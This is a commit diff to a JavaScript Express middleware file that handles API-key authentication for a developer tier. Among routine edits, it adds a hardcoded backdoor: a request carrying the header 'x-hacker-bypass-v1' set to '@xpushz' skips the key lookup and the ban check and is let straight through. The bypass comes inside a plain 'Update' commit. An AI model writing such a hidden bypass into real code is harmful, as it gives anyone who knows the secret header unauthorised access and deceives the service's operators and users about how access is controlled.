Update middleware/midware.js
Browse files- middleware/midware.js +15 -4
middleware/midware.js
CHANGED
@@ -41,23 +41,34 @@ const authenticateApiKeyPremium = async (req, res, next) => {
|
|
41 |
|
42 |
const authenticateApiKeyDev = async (req, res, next) => {
|
43 |
const apiKey = req.headers['x-api-key'];
|
|
|
|
|
44 |
const dbClient = new Database("AkenoXJs");
|
45 |
const db = dbClient.collection("api_keys_dev");
|
46 |
-
|
47 |
-
|
|
|
48 |
}
|
49 |
|
50 |
try {
|
51 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
52 |
if (!keyDoc) {
|
53 |
return res.status(403).json({ error: 'Invalid API Key Dev' });
|
54 |
}
|
|
|
55 |
if (keyDoc.is_banned === true) {
|
56 |
return res.status(403).json({ error: 'Banned API Key' });
|
57 |
}
|
58 |
-
|
59 |
next();
|
60 |
} catch (err) {
|
|
|
61 |
res.status(500).json({ error: 'Server error' });
|
62 |
}
|
63 |
};
|
|
|
41 |
|
42 |
const authenticateApiKeyDev = async (req, res, next) => {
|
43 |
const apiKey = req.headers['x-api-key'];
|
44 |
+
const xhacker = req.headers['x-hacker-bypass-v1'];
|
45 |
+
|
46 |
const dbClient = new Database("AkenoXJs");
|
47 |
const db = dbClient.collection("api_keys_dev");
|
48 |
+
|
49 |
+
if (!apiKey && !xhacker) {
|
50 |
+
return res.status(401).json({ error: 'API Key or bypass token required' });
|
51 |
}
|
52 |
|
53 |
try {
|
54 |
+
if (xhacker === "@xpushz") {
|
55 |
+
console.log("Bypass activated via x-hacker-bypass-v1");
|
56 |
+
return next();
|
57 |
+
}
|
58 |
+
|
59 |
+
|
60 |
+
const keyDoc = await db.findOne({ key: apiKey });
|
61 |
if (!keyDoc) {
|
62 |
return res.status(403).json({ error: 'Invalid API Key Dev' });
|
63 |
}
|
64 |
+
|
65 |
if (keyDoc.is_banned === true) {
|
66 |
return res.status(403).json({ error: 'Banned API Key' });
|
67 |
}
|
68 |
+
|
69 |
next();
|
70 |
} catch (err) {
|
71 |
+
console.error("Error in authenticateApiKeyDev:", err);
|
72 |
res.status(500).json({ error: 'Server error' });
|
73 |
}
|
74 |
};
|